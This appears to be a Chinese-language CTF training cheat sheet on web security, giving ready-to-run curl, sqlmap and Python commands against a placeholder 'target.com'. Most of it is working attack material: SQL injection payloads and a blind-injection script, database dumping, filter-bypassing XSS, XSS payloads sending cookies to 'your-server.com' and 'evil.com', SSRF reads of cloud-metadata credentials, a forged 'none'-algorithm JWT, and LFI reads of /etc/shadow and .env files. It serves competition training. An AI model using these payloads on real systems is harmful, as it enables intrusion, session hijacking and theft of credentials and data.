Day3_網頁安全Day 3 — 網頁安全 (Web Security)

Day 3 — 網頁安全 (Web Security)

Day 3 — 網頁安全 (Web Security)

起手式：找輸入點 → 測試 payload → 觀察回應差異 → 擴大攻擊

工具速查表

工具用途安裝
curl發送 HTTP 請求內建
Burp Suite攔截/修改 HTTP 流量官網下載
sqlmap自動化 SQL Injectionpip3 install sqlmap
ffuf目錄掃描/模糊測試brew install ffuf
gobuster目錄/檔案暴力枚舉brew install gobuster
niktoWeb 弱點掃描brew install nikto
wfuzz參數模糊測試pip3 install wfuzz

終端機完整指令

HTTP 基本操作（curl）

# GET 請求
curl -s "https://target.com/page?id=1"

# POST 請求（表單）
curl -s -X POST "https://target.com/login" \
  -d "username=admin&password=test"

# POST 請求（JSON）
curl -s -X POST "https://target.com/api" \
  -H "Content-Type: application/json" \
  -d '{"user": "admin", "pass": "test"}'

# 帶 Cookie
curl -s "https://target.com/admin" \
  -b "session=abc123; is_admin=1"

# 帶自訂 Header
curl -s "https://target.com/admin" \
  -H "X-Admin: true" \
  -H "Authorization: Bearer TOKEN"

# 追蹤重新導向
curl -sL "https://target.com/redirect"

# 顯示完整 Response Headers
curl -sI "https://target.com/"
curl -sv "https://target.com/" 2>&1 | grep "<\|>"

SQL Injection

# Step 1：確認是否有 SQL Injection 漏洞
curl "https://target.com/user?id=1'"         # 單引號觸發錯誤
curl "https://target.com/user?id=1 AND 1=1"  # 條件 True
curl "https://target.com/user?id=1 AND 1=2"  # 條件 False（回應不同）

# 常用 payload
curl "https://target.com/login" -d "username=' OR 1=1 --&password=x"
curl "https://target.com/login" -d "username=admin'--&password=x"
curl "https://target.com/user?id=1 UNION SELECT NULL,NULL,NULL--"

# Step 2：sqlmap 自動化
pip3 install sqlmap

# 基本掃描
sqlmap -u "https://target.com/user?id=1" --batch

# 列出所有資料庫
sqlmap -u "https://target.com/user?id=1" --batch --dbs

# 列出指定資料庫的表
sqlmap -u "https://target.com/user?id=1" --batch -D target_db --tables

# 傾印指定表
sqlmap -u "https://target.com/user?id=1" --batch -D target_db -T users --dump

# POST 請求的 SQLi
sqlmap -u "https://target.com/login" \
  --data="username=test&password=test" \
  --batch --dbs

# Cookie 中的 SQLi
sqlmap -u "https://target.com/" \
  --cookie="session=abc123" \
  --batch --dbs

# Blind SQLi（時間型）
curl "https://target.com/user?id=1 AND SLEEP(5)--"
# 若回應延遲 5 秒 → 確認時間型盲注

# Python 自動化盲注
python3 << 'EOF'
import requests, string, time

TARGET = "https://target.com/user"
CHARS = string.ascii_letters + string.digits + "_{}"
result = ""

for pos in range(1, 50):
    for char in CHARS:
        payload = f"1 AND SUBSTRING(database(),{pos},1)='{char}'"
        r = requests.get(TARGET, params={"id": payload})
        if "Welcome" in r.text:  # 條件為真時的正常回應
            result += char
            print(f"[+] 位置 {pos}: {char} → 目前: {result}")
            break
    else:
        break
print(f"[+] 資料庫名稱: {result}")
EOF

XSS（跨站腳本）

# 反射型 XSS 測試
curl "https://target.com/search?q=<script>alert(1)</script>"
curl "https://target.com/search?q=<img src=x onerror=alert(1)>"
curl "https://target.com/search?q='><svg onload=alert(1)>"

# 繞過過濾器的變形
# 大小寫混合
curl "https://target.com/search?q=<ScRiPt>alert(1)</ScRiPt>"
# HTML 編碼
curl "https://target.com/search?q=&#60;script&#62;alert(1)&#60;/script&#62;"
# JavaScript 事件
curl "https://target.com/search?q=\" onmouseover=alert(1)"

# 竊取 Cookie（確認有 XSS 後用）
EVIL_SERVER="https://your-server.com"
PAYLOAD="<script>fetch('${EVIL_SERVER}/steal?c='+document.cookie)</script>"
curl "https://target.com/search?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")"

# dalfox 自動化 XSS 掃描
go install github.com/hahwul/dalfox/v2@latest
dalfox url "https://target.com/search?q=test"
dalfox url "https://target.com/search?q=test" --deep-domxss

SSRF（伺服器端請求偽造）

# 測試是否能讓伺服器發出請求
curl "https://target.com/fetch?url=http://127.0.0.1"
curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"

# 各種 localhost 變形（繞過黑名單）
for payload in \
  "http://127.0.0.1" \
  "http://0.0.0.0" \
  "http://[::1]" \
  "http://0177.0.0.1" \
  "http://2130706433" \
  "http://localhost" \
  "http://127.1" \
  "http://127.0.1"; do
    echo -n "$payload → "
    curl -s "https://target.com/fetch?url=$payload" | head -1
done

# Cloud metadata 端點
curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
curl "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/" \
  -H "Metadata-Flavor: Google"

目錄/檔案枚舉

# ffuf 目錄掃描
ffuf -u "https://target.com/FUZZ" \
  -w /usr/share/wordlists/dirb/common.txt \
  -mc 200,301,302

# ffuf 參數模糊測試
ffuf -u "https://target.com/api?FUZZ=test" \
  -w /usr/share/wordlists/common-params.txt \
  -mc 200

# gobuster
gobuster dir -u "https://target.com" \
  -w /usr/share/wordlists/dirb/common.txt \
  -x php,html,txt,bak

# 常見敏感路徑手動測試
for path in \
  "/.git/config" \
  "/.env" \
  "/backup.zip" \
  "/admin" \
  "/api/flag" \
  "/robots.txt" \
  "/sitemap.xml" \
  "/.htaccess"; do
    code=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path")
    [ "$code" != "404" ] && echo "[$code] $path"
done

JWT（JSON Web Token）

# 解碼 JWT（不驗證）
python3 << 'EOF'
import base64, json

token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiZ3Vlc3QiLCJyb2xlIjoidXNlciJ9.SIGNATURE"
parts = token.split('.')
# Base64 解碼 header 和 payload
for i, part in enumerate(parts[:2]):
    padded = part + '=' * (4 - len(part) % 4)
    decoded = base64.urlsafe_b64decode(padded).decode()
    print(f"Part {i+1}: {json.dumps(json.loads(decoded), indent=2)}")
EOF

# 算法混淆攻擊（HS256 → none）
python3 << 'EOF'
import base64, json

def b64url_encode(data):
    if isinstance(data, str):
        data = data.encode()
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()

# 修改 payload（提升權限）
header = {"alg": "none", "typ": "JWT"}
payload = {"user": "admin", "role": "admin"}  # 改成 admin

forged = (
    b64url_encode(json.dumps(header)) + "." +
    b64url_encode(json.dumps(payload)) + "."
    # 空簽名
)
print(f"偽造的 JWT: {forged}")
EOF

# JWT 弱密鑰爆破
pip3 install jwt-cracker
# 或用 hashcat
# hashcat -a 0 -m 16500 "JWT_TOKEN" wordlist.txt

LFI / Path Traversal

# 基本測試
curl "https://target.com/view?file=../../../../etc/passwd"
curl "https://target.com/view?file=/etc/passwd"

# 各種繞過方式
curl "https://target.com/view?file=..%2F..%2F..%2Fetc%2Fpasswd"  # URL 編碼
curl "https://target.com/view?file=....//....//etc/passwd"         # 雙斜線
curl "https://target.com/view?file=/etc/passwd%00.jpg"             # Null byte

# 讀取常用敏感檔案
for file in \
  "/etc/passwd" \
  "/etc/shadow" \
  "/etc/hosts" \
  "/proc/self/environ" \
  "/var/www/html/.env" \
  "/app/config.php" \
  "/flag.txt" \
  "/flag"; do
    echo -n "$file → "
    curl -s "https://target.com/view?file=$file" | head -1
done

比賽解題完整流程

# Step 1：偵查（信息收集）
curl -sI "https://target.com/"  # 看 Server header
curl -s "https://target.com/robots.txt"
curl -s "https://target.com/.git/config" | head

# Step 2：找輸入點
# URL 參數、表單、Cookie、Header

# Step 3：依序測試漏洞類型
# SQL Injection
curl "https://target.com/?id=1'"
# XSS
curl "https://target.com/search?q=<script>alert(1)</script>"
# SSRF
curl "https://target.com/fetch?url=http://127.0.0.1"
# LFI
curl "https://target.com/view?file=../../etc/passwd"

# Step 4：確認漏洞後，自動化取得 Flag
sqlmap -u "https://target.com/?id=1" --batch --dump

模擬比賽題目（含終端機解法）

Challenge 1：SQL Injection 登入繞過

題目：登入頁面，帳號密碼任意

curl -s "https://target.com/login" \
  -d "username=' OR 1=1 --&password=x" | grep "FLAG{"

題目：找到 XSS 漏洞，觸發彈窗

# 測試反射型 XSS
curl -s "https://target.com/search?q=<script>alert(document.cookie)</script>"
# 若 FLAG 在 Cookie 中
curl "https://target.com/search?q=<img src=x onerror=document.location='http://evil.com/?c='+document.cookie>"

Challenge 3：SSRF 讀內部 Flag

題目：/fetch 端點，讀取 http://internal/flag

curl "https://target.com/fetch?url=http://internal/flag"
curl "https://target.com/fetch?url=http://127.0.0.1:8080/secret"

Challenge 4：LFI 讀 Flag 檔案

題目：/view?file= 參數

curl "https://target.com/view?file=../../../../flag.txt"
curl "https://target.com/view?file=/flag"
curl "https://target.com/view?file=..%2F..%2Fflag.txt"  # URL 編碼繞過
Built with LogoFlowershow